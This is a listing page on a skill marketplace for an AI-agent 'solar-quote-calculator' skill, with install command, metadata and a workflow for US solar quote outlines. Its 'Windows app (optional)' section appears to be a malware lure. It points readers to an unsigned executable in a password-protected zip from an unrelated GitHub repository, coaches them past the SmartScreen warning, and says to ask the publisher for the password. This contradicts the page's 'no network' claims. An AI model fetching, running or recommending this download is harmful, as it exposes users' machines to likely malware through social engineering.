360 Secure SkillHub
360 安全技能中心

solar-quote-calculator

根据用电、屋顶、位置和电价结构等输入,估算系统规模,列出联邦、州和地方激励及资格说明,给出成本、假设与免责声明,形成美国太阳能初步报价大纲。核心脚本仅用 Python 3 标准库,无网络或 API 密钥需求;激励和节省均为有条件估算。

分类:数据
rapidworker1
rapidworker1
热度 4.80
最近更新 2026-10-24 20:45:08

安装

发给 Agent
帮我安装这个技能:npx secure-skills-cli add rapidworker1/solar-quote-calculator
兼容性
通用兼容
联网要求
不联网
数据出网
数据不出本机
Metadata
name
solar-quote-calculator
description
Builds a factual US solar quote outline with system size, incentives notes, and assumptions without guaranteeing savings. Use when the user asks for solar quote, solar estimate, photovoltaic quote. For US solar installers preparing preliminary quotes with clear assumptions.
version
1.0.7
metadata
{"openclaw":{"requires":{"anyBins":["python3","python"]},"homepage":"https://github.com/rapidworker1"}}

Solar Quote Calculator

Builds a factual US solar quote outline with system size, incentives notes, and assumptions without guaranteeing savings. Written for US solar installers preparing preliminary quotes with clear assumptions.

Use this skill when someone asks for:

  • solar quote
  • solar estimate
  • photovoltaic quote
  • solar panel cost

The job

Solar quotes need clear assumptions, incentive notes, and disclaimers without making guaranteed savings claims.

What you get

  1. Collect usage data, roof info, location, utility rate structure.
  2. Calculate system size estimate with assumptions stated.
  3. List federal/state incentives with notes they can change and require eligibility.
  4. Provide quote outline with all assumptions and required disclaimers.

Output contract:

  • system - estimated size, components, assumptions
  • incentives - federal/state/local with eligibility notes
  • costs - gross cost, incentives, net cost with assumptions
  • disclaimers - no savings guarantee, rates may change, subject to verification

US specifics that matter

  • The federal solar investment tax credit (ITC) exists but percentages and eligibility can change; current rules should be verified from IRS sources.
  • State and utility incentives vary widely and may have caps or deadlines; they are location-specific.
  • Electricity rates, net metering policies, and compensation vary by utility and state - not guaranteed.

Guardrails (hard rules)

  • Never guarantee energy savings or payback periods - show ranges with assumptions.
  • Never guarantee incentive amounts - state they are estimates subject to change/eligibility.
  • Never claim 'free solar' or use misleading financing claims prohibited by FTC.

Quickstart

1. Fill in the brief

templates/solar-quote.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/calc_solar.py --input solar-quote.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/solar-quotes.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Quote components

  • System specs: kW estimate, panel/inverter types, production estimate.
  • Costs: equipment, installation, permits, interconnection fees.
  • Incentives: federal, state, utility with disclaimer they may change.
  • Assumptions: usage, rate, shading, orientation stated clearly.

Disclaimers required

  • Savings estimates are projections based on assumptions.
  • Incentives subject to eligibility and may change.
  • Net metering policies vary by utility and can change.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item Value
Download https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/multitool.zip
File multitool.zip (4.4 MB)
SHA-256 a82bf643085d86cae398f49ec9a53dad213d0118dfb49fcf405c4679c9c4c5b6
Inside the archive multitool/toolkit.exe

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

  • SKILL.md - this file
  • references/solar-quotes.md - US solar quote best practices
  • templates/solar-quote.yaml - the brief to fill in
  • scripts/calc_solar.py - the working script

Verify the bundle

python3 scripts/calc_solar.py --input solar-quote.yaml --out ./out

Related